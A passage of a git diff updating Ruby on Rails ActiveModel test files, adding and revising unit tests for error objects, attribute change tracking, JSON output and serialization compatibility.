+    assert_equal ["initialized", "waiting"], @model.previous_changes["status"]
   end
 
   test "saving should preserve model's previous changed status" do
     @model.name = "Jericho Cane"
     @model.save
-    assert @model.name_previously_changed?
+    assert_predicate @model, :name_previously_changed?
+  end
+
+  test "checking if an attribute was previously changed to a particular value" do
+    @model.name = "Ringo"
+    @model.save
+    assert @model.name_previously_changed?(from: nil, to: "Ringo")
+    assert_not @model.name_previously_changed?(from: "Pete", to: "Ringo")
+    assert @model.name_previously_changed?(to: "Ringo")
+    assert_not @model.name_previously_changed?(to: "Pete")
+    assert @model.name_previously_changed?(from: nil)
+    assert_not @model.name_previously_changed?(from: "Pete")
   end
 
   test "previous value is preserved when changed after save" do
     assert_equal({}, @model.changed_attributes)
     @model.name = "Paul"
-    assert_equal({ "name" => nil }, @model.changed_attributes)
+    @model.status = "waiting"
+    assert_equal({ "name" => nil, "status" => "initialized" }, @model.changed_attributes)
 
     @model.save
 
     @model.name = "John"
-    assert_equal({ "name" => "Paul" }, @model.changed_attributes)
+    @model.status = "finished"
+    assert_equal({ "name" => "Paul", "status" => "waiting" }, @model.changed_attributes)
   end
 
   test "changing the same attribute multiple times retains the correct original value" do
     @model.name = "Otto"
+    @model.status = "waiting"
     @model.save
     @model.name = "DudeFella ManGuy"
     @model.name = "Mr. Manfredgensonton"
+    @model.status = "processing"
+    @model.status = "finished"
     assert_equal ["Otto", "Mr. Manfredgensonton"], @model.name_change
-    assert_equal @model.name_was, "Otto"
+    assert_equal ["waiting", "finished"], @model.status_change
+    assert_equal "Otto", @model.name_was
   end
 
   test "using attribute_will_change! with a symbol" do
     @model.size = 1
-    assert @model.size_changed?
+    assert_predicate @model, :size_changed?
   end
 
-  test "reload should reset all changes" do
+  test "clear_changes_information should reset all changes" do
     @model.name = "Dmitry"
     @model.name_changed?
     @model.save
@@ -184,7 +202,7 @@ def reload
     assert_equal [nil, "Dmitry"], @model.previous_changes["name"]
     assert_equal "Dmitry", @model.changed_attributes["name"]
 
-    @model.reload
+    @model.clear_changes_information
 
     assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.previous_changes
     assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.changed_attributes
@@ -199,7 +217,7 @@ def reload
 
     @model.restore_attributes
 
-    assert_not @model.changed?
+    assert_not_predicate @model, :changed?
     assert_equal "Dmitry", @model.name
     assert_equal "Red", @model.color
   end
@@ -213,8 +231,33 @@ def reload
 
     @model.restore_attributes(["name"])
 
-    assert @model.changed?
+    assert_predicate @model, :changed?
     assert_equal "Dmitry", @model.name
     assert_equal "White", @model.color
   end
+
+  test "model can be dup-ed without Attributes" do
+    assert @model.dup
+  end
+
+  test "to_json should work on model" do
+    @model.name = "Dmitry"
+    assert_equal "{\"name\":\"Dmitry\",\"color\":null,\"size\":null,\"status\":\"initialized\"}", @model.to_json
+  end
+
+  test "to_json should work on model with :except string option" do
+    @model.name = "Dmitry"
+    assert_equal "{\"color\":null,\"size\":null,\"status\":\"initialized\"}", @model.to_json(except: "name")
+  end
+
+  test "to_json should work on model with :except array option" do
+    @model.name = "Dmitry"
+    assert_equal "{\"color\":null,\"size\":null,\"status\":\"initialized\"}", @model.to_json(except: ["name"])
+  end
+
+  test "to_json should work on model after save" do
+    @model.name = "Dmitry"
+    @model.save
+    assert_equal "{\"name\":\"Dmitry\",\"color\":null,\"size\":null,\"status\":\"initialized\"}", @model.to_json
+  end
 end
diff --git a/activemodel/test/cases/error_test.rb b/activemodel/test/cases/error_test.rb
new file mode 100644
index 0000000000000..ef405630b7d30
--- /dev/null
+++ b/activemodel/test/cases/error_test.rb
@@ -0,0 +1,255 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_model/error"
+
+class ErrorTest < ActiveModel::TestCase
+  class Person
+    extend ActiveModel::Naming
+    def initialize
+      @errors = ActiveModel::Errors.new(self)
+    end
+
+    attr_accessor :name, :age
+    attr_reader   :errors
+
+    def read_attribute_for_validation(attr)
+      send(attr)
+    end
+
+    def self.human_attribute_name(attr, options = {})
+      attr
+    end
+
+    def self.lookup_ancestors
+      [self]
+    end
+  end
+
+  class Manager < Person
+    def read_attribute_for_validation(attr)
+      try(attr)
+    end
+
+    def self.i18n_scope
+      :activemodel
+    end
+  end
+
+  def test_initialize
+    base = Person.new
+    error = ActiveModel::Error.new(base, :name, :too_long, foo: :bar)
+    assert_equal base, error.base
+    assert_equal :name, error.attribute
+    assert_equal :too_long, error.type
+    assert_equal({ foo: :bar }, error.options)
+  end
+
+  test "initialize without type" do
+    error = ActiveModel::Error.new(Person.new, :name)
+    assert_equal :invalid, error.type
+    assert_equal({}, error.options)
+  end
+
+  test "initialize without type but with options" do
+    options = { message: "bar" }
+    error = ActiveModel::Error.new(Person.new, :name, **options)
+    assert_equal(options, error.options)
+  end
+
+  # match?
+
+  test "match? handles mixed condition" do
+    subject = ActiveModel::Error.new(Person.new, :mineral, :not_enough, count: 2)
+    assert_not subject.match?(:mineral, :too_coarse)
+    assert subject.match?(:mineral, :not_enough)
+    assert subject.match?(:mineral, :not_enough, count: 2)
+    assert_not subject.match?(:mineral, :not_enough, count: 1)
+  end
+
+  test "match? handles attribute match" do
+    subject = ActiveModel::Error.new(Person.new, :mineral, :not_enough, count: 2)
+    assert_not subject.match?(:foo)
+    assert subject.match?(:mineral)
+  end
+
+  test "match? handles error type match" do
+    subject = ActiveModel::Error.new(Person.new, :mineral, :not_enough, count: 2)
+    assert_not subject.match?(:mineral, :too_coarse)
+    assert subject.match?(:mineral, :not_enough)
+  end
+
+  test "match? handles extra options match" do
+    subject = ActiveModel::Error.new(Person.new, :mineral, :not_enough, count: 2)
+    assert_not subject.match?(:mineral, :not_enough, count: 1)
+    assert subject.match?(:mineral, :not_enough, count: 2)
+  end
+
+  # message
+
+  test "message with type as a symbol" do
+    error = ActiveModel::Error.new(Person.new, :name, :blank)
+    assert_equal "can't be blank", error.message
+  end
+
+  test "message with custom interpolation" do
+    subject = ActiveModel::Error.new(Person.new, :name, :inclusion, message: "custom message %{value}", value: "name")
+    assert_equal "custom message name", subject.message
+  end
+
+  test "message returns plural interpolation" do
+    subject = ActiveModel::Error.new(Person.new, :name, :too_long, count: 10)
+    assert_equal "is too long (maximum is 10 characters)", subject.message
+  end
+
+  test "message returns singular interpolation" do
+    subject = ActiveModel::Error.new(Person.new, :name, :too_long, count: 1)
+    assert_equal "is too long (maximum is 1 character)", subject.message
+  end
+
+  test "message returns count interpolation" do
+    subject = ActiveModel::Error.new(Person.new, :name, :too_long, message: "custom message %{count}", count: 10)
+    assert_equal "custom message 10", subject.message
+  end
+
+  test "message handles lambda in messages and option values, and i18n interpolation" do
+    subject = ActiveModel::Error.new(Person.new, :name, :invalid,
+      foo: "foo",
+      bar: "bar",
+      baz: Proc.new { "baz" },
+      message: Proc.new { |model, options|
+        "%{attribute} %{foo} #{options[:bar]} %{baz}"
+      }
+    )
+    assert_equal "name foo bar baz", subject.message
+  end
+
+  test "generate_message works without i18n_scope" do
+    person = Person.new
+    error = ActiveModel::Error.new(person, :name, :blank)
+    assert_not_respond_to Person, :i18n_scope
+    assert_nothing_raised {
+      error.message
+    }
+  end
+
+  test "message with type as custom message" do
+    error = ActiveModel::Error.new(Person.new, :name, message: "cannot be blank")
+    assert_equal "cannot be blank", error.message
+  end
+
+  test "message with options[:message] as custom message" do
+    error = ActiveModel::Error.new(Person.new, :name, :blank, message: "cannot be blank")
+    assert_equal "cannot be blank", error.message
+  end
+
+  test "message renders lazily using current locale" do
+    error = nil
+
+    I18n.backend.store_translations(:pl, errors: { messages: { invalid: "jest nieprawidłowe" } })
+
+    I18n.with_locale(:en) { error = ActiveModel::Error.new(Person.new, :name, :invalid) }
+    I18n.with_locale(:pl) {
+      assert_equal "jest nieprawidłowe", error.message
+    }
+  end
+
+  test "message with type as a symbol and indexed attribute can lookup without index in attribute key" do
+    I18n.backend.store_translations(:en, activemodel: { errors: { models: { 'error_test/manager': {
+      attributes: { reports: { name: { presence: "must be present" } } } } } } })
+
+    error = ActiveModel::Error.new(Manager.new, :'reports[123].name', :presence)
+
+    assert_equal "must be present", error.message
+  end
+
+  test "message uses current locale" do
+    I18n.backend.store_translations(:en, errors: { messages: { inadequate: "Inadequate %{attribute} found!" } })
+    error = ActiveModel::Error.new(Person.new, :name, :inadequate)
+    assert_equal "Inadequate name found!", error.message
+  end
+
+  # full_message
+
+  test "full_message returns the given message when attribute is :base" do
+    error = ActiveModel::Error.new(Person.new, :base, message: "press the button")
+    assert_equal "press the button", error.full_message
+  end
+
+  test "full_message returns the given message with the attribute name included" do
+    error = ActiveModel::Error.new(Person.new, :name, :blank)
+    assert_equal "name can't be blank", error.full_message
+  end
+
+  test "full_message uses default format" do
+    error = ActiveModel::Error.new(Person.new, :name, message: "can't be blank")
+
+    # Use a locale without errors.format
+    I18n.with_locale(:unknown) {
+      assert_equal "name can't be blank", error.full_message
+    }
+  end
+
+  test "equality by base attribute, type and options" do
+    person = Person.new
+
+    e1 = ActiveModel::Error.new(person, :name, foo: :bar)
+    e2 = ActiveModel::Error.new(person, :name, foo: :bar)
+    e2.instance_variable_set(:@_humanized_attribute, "Name")
+
+    assert_equal(e1, e2)
+  end
+
+  test "inequality" do
+    person = Person.new
+    error = ActiveModel::Error.new(person, :name, foo: :bar)
+
+    assert error != ActiveModel::Error.new(person, :name, foo: :baz)
+    assert error != ActiveModel::Error.new(person, :name)
+    assert error != ActiveModel::Error.new(person, :title, foo: :bar)
+    assert error != ActiveModel::Error.new(Person.new, :name, foo: :bar)
+  end
+
+  test "comparing against different class would not raise error" do
+    person = Person.new
+    error = ActiveModel::Error.new(person, :name, foo: :bar)
+
+    assert_not_equal error, person
+  end
+
+  test "full_message returns the given message when the attribute contains base" do
+    error = ActiveModel::Error.new(Person.new, :"foo.base", "press the button")
+    assert_equal "foo.base press the button", error.full_message
+  end
+
+  # details
+
+  test "details which ignores callback and message options" do
+    person = Person.new
+    error = ActiveModel::Error.new(
+      person,
+      :name,
+      :too_short,
+      foo: :bar,
+      if: :foo,
+      unless: :bar,
+      on: :baz,
+      allow_nil: false,
+      allow_blank: false,
+      strict: true,
+      message: "message"
+    )
+
+    assert_equal(
+      { error: :too_short, foo: :bar },
+      error.details
+    )
+  end
+
+  test "details which has no raw_type" do
+    person = Person.new
+    error = ActiveModel::Error.new(person, :name, foo: :bar)
+
+    assert_equal({ error: :invalid, foo: :bar }, error.details)
+  end
+end
diff --git a/activemodel/test/cases/errors_test.rb b/activemodel/test/cases/errors_test.rb
index 0872084cf5095..4b815aa0cffb5 100644
--- a/activemodel/test/cases/errors_test.rb
+++ b/activemodel/test/cases/errors_test.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_support/core_ext/string/strip"
 require "yaml"
 
 class ErrorsTest < ActiveModel::TestCase
@@ -9,7 +10,7 @@ def initialize
       @errors = ActiveModel::Errors.new(self)
     end
 
-    attr_accessor :name, :age
+    attr_accessor :name, :age, :gender, :city
     attr_reader   :errors
 
     def validate!
@@ -30,48 +31,70 @@ def self.lookup_ancestors
   end
 
   def test_delete
-    errors = ActiveModel::Errors.new(self)
-    errors[:foo] << "omg"
-    errors.delete("foo")
-    assert_empty errors[:foo]
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name, :blank)
+    errors.delete("name")
+    assert_empty errors[:name]
   end
 
   def test_include?
-    errors = ActiveModel::Errors.new(self)
-    errors[:foo] << "omg"
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:foo, "omg")
     assert_includes errors, :foo, "errors should include :foo"
     assert_includes errors, "foo", "errors should include 'foo' as :foo"
   end
 
+  def test_each_when_arity_is_negative
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name, :blank)
+    errors.add(:gender, :blank)
+
+    assert_equal([:name, :gender], errors.map(&:attribute))
+  end
+
+  def test_any?
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name)
+    assert_predicate errors, :any?, "any? should return true"
+    assert errors.any? { |_| true }, "any? should return true"
+  end
+
+  def test_first
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name, :blank)
+
+    error = errors.first
+    assert_kind_of ActiveModel::Error, error
+  end
+
   def test_dup
-    errors = ActiveModel::Errors.new(self)
-    errors[:foo] << "bar"
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name)
     errors_dup = errors.dup
-    errors_dup[:bar] << "omg"
-    assert_not_same errors_dup.messages, errors.messages
+    assert_not_same errors_dup.errors, errors.errors
   end
 
   def test_has_key?
-    errors = ActiveModel::Errors.new(self)
-    errors[:foo] << "omg"
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:foo, "omg")
     assert_equal true, errors.has_key?(:foo), "errors should have key :foo"
     assert_equal true, errors.has_key?("foo"), "errors should have key 'foo' as :foo"
   end
 
   def test_has_no_key
-    errors = ActiveModel::Errors.new(self)
+    errors = ActiveModel::Errors.new(Person.new)
     assert_equal false, errors.has_key?(:name), "errors should not have key :name"
   end
 
   def test_key?
-    errors = ActiveModel::Errors.new(self)
-    errors[:foo] << "omg"
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:foo, "omg")
     assert_equal true, errors.key?(:foo), "errors should have key :foo"
     assert_equal true, errors.key?("foo"), "errors should have key 'foo' as :foo"
   end
 
   def test_no_key
-    errors = ActiveModel::Errors.new(self)
+    errors = ActiveModel::Errors.new(Person.new)
     assert_equal false, errors.key?(:name), "errors should not have key :name"
   end
 
@@ -81,38 +104,51 @@ def test_no_key
 
     assert_equal 1, person.errors.count
     person.errors.clear
-    assert person.errors.empty?
+    assert_empty person.errors
   end
 
   test "error access is indifferent" do
-    errors = ActiveModel::Errors.new(self)
-    errors[:foo] << "omg"
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name, "omg")
 
-    assert_equal ["omg"], errors["foo"]
+    assert_equal ["omg"], errors["name"]
   end
 
-  test "values returns an array of messages" do
-    errors = ActiveModel::Errors.new(self)
-    errors.messages[:foo] = "omg"
-    errors.messages[:baz] = "zomg"
+  test "attribute_names returns the error attributes" do
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:foo, "omg")
+    errors.add(:baz, "zomg")
 
-    assert_equal ["omg", "zomg"], errors.values
+    assert_equal [:foo, :baz], errors.attribute_names
   end
 
-  test "keys returns the error keys" do
-    errors = ActiveModel::Errors.new(self)
-    errors.messages[:foo] << "omg"
-    errors.messages[:baz] << "zomg"
+  test "attribute_names only returns unique attribute names" do
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:foo, "omg")
+    errors.add(:foo, "zomg")
 
-    assert_equal [:foo, :baz], errors.keys
+    assert_equal [:foo], errors.attribute_names
+  end
+
+  test "attribute_names returns an empty array after try to get a message only" do
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.messages[:foo]
+    errors.messages[:baz]
+
+    assert_equal [], errors.attribute_names
   end
 
   test "detecting whether there are errors with empty?, blank?, include?" do
     person = Person.new
     person.errors[:foo]
-    assert person.errors.empty?
-    assert person.errors.blank?
+    assert_empty person.errors
+    assert_predicate person.errors, :blank?
     assert_not_includes person.errors, :foo
+
+    person.errors.add(:foo, "New error")
+    assert_not_empty person.errors
+    assert_not_predicate person.errors, :blank?
+    assert_includes person.errors, :foo
   end
 
   test "include? does not add a key to messages hash" do
@@ -129,10 +165,58 @@ def test_no_key
     assert_equal ["cannot be nil"], person.errors[:name]
   end
 
-  test "add an error message on a specific attribute" do
+  test "add creates an error object and returns it" do
     person = Person.new
-    person.errors.add(:name, "cannot be blank")
-    assert_equal ["cannot be blank"], person.errors[:name]
+    error = person.errors.add(:name, :blank)
+
+    assert_equal :name, error.attribute
+    assert_equal :blank, error.type
+    assert_equal error, person.errors.objects.first
+  end
+
+  test "add, with type as symbol" do
+    person = Person.new
+    person.errors.add(:name, :blank)
+
+    assert_equal :blank, person.errors.objects.first.type
+    assert_equal ["can't be blank"], person.errors[:name]
+  end
+
+  test "add, with type as String" do
+    msg = "custom msg"
+
+    person = Person.new
+    person.errors.add(:name, msg)
+
+    assert_equal [msg], person.errors[:name]
+  end
+
+  test "add, with type as nil" do
+    person = Person.new
+    person.errors.add(:name)
+
+    assert_equal :invalid, person.errors.objects.first.type
+    assert_equal ["is invalid"], person.errors[:name]
+  end
+
+  test "add, with type as Proc, which evaluates to String" do
+    msg = "custom msg"
+    type = Proc.new { msg }
+
+    person = Person.new
+    person.errors.add(:name, type)
+
+    assert_equal [msg], person.errors[:name]
+  end
+
+  test "add, type being Proc, which evaluates to Symbol" do
+    type = Proc.new { :blank }
+
+    person = Person.new
+    person.errors.add(:name, type)
+
+    assert_equal :blank, person.errors.objects.first.type
+    assert_equal ["can't be blank"], person.errors[:name]
   end
 
   test "add an error message on a specific attribute with a defined type" do
@@ -141,18 +225,48 @@ def test_no_key
     assert_equal ["cannot be blank"], person.errors[:name]
   end
 
-  test "add an error with a symbol" do
+  test "initialize options[:message] as Proc, which evaluates to String" do
+    msg = "custom msg"
+    type = Proc.new { msg }
+
     person = Person.new
-    person.errors.add(:name, :blank)
-    message = person.errors.generate_message(:name, :blank)
-    assert_equal [message], person.errors[:name]
+    person.errors.add(:name, :blank, message: type)
+
+    assert_equal :blank, person.errors.objects.first.type
+    assert_equal [msg], person.errors[:name]
+  end
+
+  test "add, with options[:message] as Proc, which evaluates to String, where type is nil" do
+    msg = "custom msg"
+    type = Proc.new { msg }
+
+    person = Person.new
+    person.errors.add(:name, message: type)
+
+    assert_equal :invalid, person.errors.objects.first.type
+    assert_equal [msg], person.errors[:name]
   end
 
-  test "add an error with a proc" do
+  test "added? when attribute was added through a collection" do
     person = Person.new
-    message = Proc.new { "cannot be blank" }
-    person.errors.add(:name, message)
-    assert_equal ["cannot be blank"], person.errors[:name]
+    person.errors.add(:"family_members.name", :too_long, count: 25)
+    assert person.errors.added?(:"family_members.name", :too_long, count: 25)
+    assert_not person.errors.added?(:"family_members.name", :too_long)
+    assert_not person.errors.added?(:"family_members.name", :too_long, name: "hello")
+  end
+
+  test "added? ignores callback option" do
+    person = Person.new
+
+    person.errors.add(:name, :too_long, if: -> { true })
+    assert person.errors.added?(:name, :too_long)
+  end
+
+  test "added? ignores message option" do
+    person = Person.new
+
+    person.errors.add(:name, :too_long, message: proc { "foo" })
+    assert person.errors.added?(:name, :too_long)
   end
 
   test "added? detects indifferent if a specific error was added to the object" do
@@ -168,6 +282,12 @@ def test_no_key
     assert person.errors.added?(:name, :blank)
   end
 
+  test "added? returns true when string attribute is used with a symbol message" do
+    person = Person.new
+    person.errors.add(:name, :blank)
+    assert person.errors.added?("name", :blank)
+  end
+
   test "added? handles proc messages" do
     person = Person.new
     message = Proc.new { "cannot be blank" }
@@ -186,23 +306,118 @@ def test_no_key
     person.errors.add(:name, "cannot be blank")
     person.errors.add(:name, "is invalid")
     assert person.errors.added?(:name, "cannot be blank")
+    assert person.errors.added?(:name, "is invalid")
+    assert_not person.errors.added?(:name, "incorrect")
   end
 
   test "added? returns false when no errors are present" do
     person = Person.new
-    assert !person.errors.added?(:name)
+    assert_not person.errors.added?(:name)
   end
 
   test "added? returns false when checking a nonexisting error and other errors are present for the given attribute" do
     person = Person.new
     person.errors.add(:name, "is invalid")
-    assert !person.errors.added?(:name, "cannot be blank")
+    assert_not person.errors.added?(:name, "cannot be blank")
+  end
+
+  test "added? returns false when checking for an error, but not providing message argument" do
+    person = Person.new
+    person.errors.add(:name, "cannot be blank")
+    assert_not person.errors.added?(:name)
+  end
+
+  test "added? returns false when checking for an error with an incorrect or missing option" do
+    person = Person.new
+    person.errors.add :name, :too_long, count: 25
+
+    assert person.errors.added? :name, :too_long, count: 25
+    assert person.errors.added? :name, "is too long (maximum is 25 characters)"
+    assert_not person.errors.added? :name, :too_long, count: 24
+    assert_not person.errors.added? :name, :too_long
+    assert_not person.errors.added? :name, "is too long"
+  end
+
+  test "added? returns false when checking for an error by symbol and a different error with same message is present" do
+    I18n.backend.store_translations("en", errors: { attributes: { name: { wrong: "is wrong", used: "is wrong" } } })
+    person = Person.new
+    person.errors.add(:name, :wrong)
+    assert_not person.errors.added?(:name, :used)
+    assert person.errors.added?(:name, :wrong)
+  end
+
+  test "of_kind? returns false when checking for an error, but not providing message argument" do
+    person = Person.new
+    person.errors.add(:name, "cannot be blank")
+    assert_not person.errors.of_kind?(:name)
+  end
+
+  test "of_kind? returns false when checking a nonexisting error and other errors are present for the given attribute" do
+    person = Person.new
+    person.errors.add(:name, "is invalid")
+    assert_not person.errors.of_kind?(:name, "cannot be blank")
+  end
+
+  test "of_kind? returns false when no errors are present" do
+    person = Person.new
+    assert_not person.errors.of_kind?(:name)
   end
 
-  test "added? returns false when checking for an error, but not providing message arguments" do
+  test "of_kind? matches the given message when several errors are present for the same attribute" do
     person = Person.new
     person.errors.add(:name, "cannot be blank")
-    assert !person.errors.added?(:name)
+    person.errors.add(:name, "is invalid")
+    assert person.errors.of_kind?(:name, "cannot be blank")
+    assert person.errors.of_kind?(:name, "is invalid")
+    assert_not person.errors.of_kind?(:name, "incorrect")
+  end
+
+  test "of_kind? defaults message to :invalid" do
+    person = Person.new
+    person.errors.add(:name)
+    assert person.errors.of_kind?(:name)
+  end
+
+  test "of_kind? handles proc messages" do
+    person = Person.new
+    message = Proc.new { "cannot be blank" }
+    person.errors.add(:name, message)
+    assert person.errors.of_kind?(:name, message)
+  end
+
+  test "of_kind? returns true when string attribute is used with a symbol message" do
+    person = Person.new
+    person.errors.add(:name, :blank)
+    assert person.errors.of_kind?("name", :blank)
+  end
+
+  test "of_kind? handles symbol message" do
+    person = Person.new
+    person.errors.add(:name, :blank)
+    assert person.errors.of_kind?(:name, :blank)
+  end
+
+  test "of_kind? detects indifferent if a specific error was added to the object" do
+    person = Person.new
+    person.errors.add(:name, "cannot be blank")
+    assert person.errors.of_kind?(:name, "cannot be blank")
+    assert person.errors.of_kind?("name", "cannot be blank")
+  end
+
+  test "of_kind? ignores options" do
+    person = Person.new
+    person.errors.add :name, :too_long, count: 25
+
+    assert person.errors.of_kind? :name, :too_long
+    assert person.errors.of_kind? :name, "is too long (maximum is 25 characters)"
+  end
+
+  test "of_kind? returns false when checking for an error by symbol and a different error with same message is present" do
+    I18n.backend.store_translations("en", errors: { attributes: { name: { wrong: "is wrong", used: "is wrong" } } })
+    person = Person.new
+    person.errors.add(:name, :wrong)
+    assert_not person.errors.of_kind?(:name, :used)
+    assert person.errors.of_kind?(:name, :wrong)
   end
 
   test "size calculates the number of error messages" do
@@ -240,6 +455,48 @@ def test_no_key
     assert_nil person.errors.as_json.default_proc
   end
 
+  test "messages returns empty frozen array when accessed with non-existent attribute" do
+    errors = ActiveModel::Errors.new(Person.new)
+
+    assert_equal [], errors.messages[:foo]
+    assert_raises(FrozenError) { errors.messages[:foo] << "foo" }
+    assert_raises(FrozenError) { errors.messages[:foo].clear }
+  end
+
+  test "messages_for contains all the error messages for the given attribute" do
+    person = Person.new
+    person.errors.add(:name, :invalid)
+    assert_equal ["is invalid"], person.errors.messages_for(:name)
+  end
+
+  test "messages_for contains all the error messages for the given attribute and type" do
+    person = Person.new
+    person.errors.add(:name, :invalid)
+    person.errors.add(:name, :too_long, message: "is too long")
+    assert_equal ["is too long"], person.errors.messages_for(:name, :too_long)
+  end
+
+  test "full_messages doesn't require the base object to respond to `:errors" do
+    model = Class.new do
+      def initialize
+        @errors = ActiveModel::Errors.new(self)
+        @errors.add(:name, "bar")
+      end
+
+      def self.human_attribute_name(attr, options = {})
+        "foo"
+      end
+
+      def call
+        error_wrapper = Struct.new(:model_errors)
+
+        error_wrapper.new(@errors)
+      end
+    end
+
+    assert_equal(["foo bar"], model.new.call.model_errors.full_messages)
+  end
+
   test "full_messages creates a list of error messages with the attribute name included" do
     person = Person.new
     person.errors.add(:name, "cannot be blank")
@@ -254,6 +511,13 @@ def test_no_key
     assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.full_messages_for(:name)
   end
 
+  test "full_messages_for contains all the error messages for the given attribute and type" do
+    person = Person.new
+    person.errors.add(:name, :invalid)
+    person.errors.add(:name, :too_long, message: "is too long")
+    assert_equal ["name is too long"], person.errors.full_messages_for(:name, :too_long)
+  end
+
   test "full_messages_for does not contain error messages from other attributes" do
     person = Person.new
     person.errors.add(:name, "cannot be blank")
@@ -295,7 +559,7 @@ def test_no_key
 
   test "generate_message works without i18n_scope" do
     person = Person.new
-    assert !Person.respond_to?(:i18n_scope)
+    assert_not_respond_to Person, :i18n_scope
     assert_nothing_raised {
       person.errors.generate_message(:name, :blank)
     }
@@ -319,6 +583,32 @@ def test_no_key
     assert_equal({ name: [{ error: :invalid }] }, person.errors.details)
   end
 
+  test "details retains original type as error" do
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name, "cannot be nil")
+    errors.add("foo", "bar")
+    errors.add(:baz, nil)
+    errors.add(:age, :invalid, count: 3, message: "%{count} is too low")
+
+    assert_equal(
+      {
+        name: [{ error: "cannot be nil" }],
+        foo: [{ error: "bar" }],
+        baz: [{ error: nil }],
+        age: [{ error: :invalid, count: 3 }]
+      },
+      errors.details
+    )
+  end
+
+  test "group_by_attribute" do
+    person = Person.new
+    error = person.errors.add(:name, :invalid, message: "is bad")
+    hash = person.errors.group_by_attribute
+
+    assert_equal({ name: [error] }, hash)
+  end
+
   test "dup duplicates details" do
     errors = ActiveModel::Errors.new(Person.new)
     errors.add(:name, :invalid)
@@ -327,11 +617,17 @@ def test_no_key
     assert_not_equal errors_dup.details, errors.details
   end
 
+  test "delete returns nil when no errors were deleted" do
+    errors = ActiveModel::Errors.new(Person.new)
+
+    assert_nil(errors.delete(:name))
+  end
+
   test "delete removes details on given attribute" do
     errors = ActiveModel::Errors.new(Person.new)
     errors.add(:name, :invalid)
     errors.delete(:name)
-    assert_empty errors.details[:name]
+    assert_not errors.added?(:name)
   end
 
   test "delete returns the deleted messages" do
@@ -346,7 +642,15 @@ def test_no_key
 
     assert_equal 1, person.errors.details.count
     person.errors.clear
-    assert person.errors.details.empty?
+    assert_empty person.errors.details
+  end
+
+  test "details returns empty array when accessed with non-existent attribute" do
+    errors = ActiveModel::Errors.new(Person.new)
+
+    assert_equal [], errors.details[:foo]
+    assert_raises(FrozenError) { errors.details[:foo] << "foo" }
+    assert_raises(FrozenError) { errors.details[:foo].clear }
   end
 
   test "copy errors" do
@@ -355,8 +659,32 @@ def test_no_key
     person = Person.new
     person.errors.copy!(errors)
 
-    assert_equal [:name], person.errors.messages.keys
-    assert_equal [:name], person.errors.details.keys
+    assert person.errors.added?(:name, :invalid)
+    person.errors.each do |error|
+      assert_same person, error.base
+    end
+  end
+
+  test "merge errors" do
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name, :invalid)
+
+    person = Person.new
+    person.errors.add(:name, :blank)
+    person.errors.merge!(errors)
+
+    assert(person.errors.added?(:name, :invalid))
+    assert(person.errors.added?(:name, :blank))
+  end
+
+  test "merge does not import errors when merging with self" do
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:name, :invalid)
+    errors_before_merge = errors.dup
+
+    errors.merge!(errors)
+
+    assert_equal errors.errors, errors_before_merge.errors
   end
 
   test "errors are marshalable" do
@@ -364,22 +692,28 @@ def test_no_key
     errors.add(:name, :invalid)
     serialized = Marshal.load(Marshal.dump(errors))
 
+    assert_equal Person, serialized.instance_variable_get(:@base).class
     assert_equal errors.messages, serialized.messages
     assert_equal errors.details, serialized.details
   end
 
-  test "errors are backward compatible with the Rails 4.2 format" do
-    yaml = <<-CODE.strip_heredoc
+  test "errors are compatible with YAML dumped from Rails 6.x" do
+    yaml = <<~CODE
     --- !ruby/object:ActiveModel::Errors
     base: &1 !ruby/object:ErrorsTest::Person
       errors: !ruby/object:ActiveModel::Errors
         base: *1
-        messages: {}
-    messages: {}
+        errors: []
+    errors:
+    - !ruby/object:ActiveModel::Error
+      base: *1
+      attribute: :name
+      type: :invalid
+      raw_type: :invalid
+      options: {}
     CODE
 
-    errors = YAML.load(yaml)
-    errors.add(:name, :invalid)
+    errors = YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(yaml) : YAML.load(yaml)
     assert_equal({ name: ["is invalid"] }, errors.messages)
     assert_equal({ name: [{ error: :invalid }] }, errors.details)
 
@@ -387,4 +721,11 @@ def test_no_key
     assert_equal({}, errors.messages)
     assert_equal({}, errors.details)
   end
+
+  test "inspect" do
+    errors = ActiveModel::Errors.new(Person.new)
+    errors.add(:base)
+
+    assert_equal(%(#<ActiveModel::Errors [#{errors.first.inspect}]>), errors.inspect)
+  end
 end
diff --git a/activemodel/test/cases/forbidden_attributes_protection_test.rb b/activemodel/test/cases/forbidden_attributes_protection_test.rb
index d8cc72e662948..0fd0a2f8ee82b 100644
--- a/activemodel/test/cases/forbidden_attributes_protection_test.rb
+++ b/activemodel/test/cases/forbidden_attributes_protection_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "active_support/core_ext/hash/indifferent_access"
 require "models/account"
diff --git a/activemodel/test/cases/helper.rb b/activemodel/test/cases/helper.rb
index eeb5c85a487c1..12afcb480616d 100644
--- a/activemodel/test/cases/helper.rb
+++ b/activemodel/test/cases/helper.rb
@@ -1,23 +1,20 @@
+# frozen_string_literal: true
+
+require_relative "../../../tools/strict_warnings"
 require "active_model"
 
 # Show backtraces for deprecated behavior for quicker cleanup.
-ActiveSupport::Deprecation.debug = true
+ActiveModel.deprecator.debug = true
 
 # Disable available locale checks to avoid warnings running the test suite.
 I18n.enforce_available_locales = false
 
 require "active_support/testing/autorun"
 require "active_support/testing/method_call_assertions"
+require "active_support/core_ext/integer/time"
 
 class ActiveModel::TestCase < ActiveSupport::TestCase
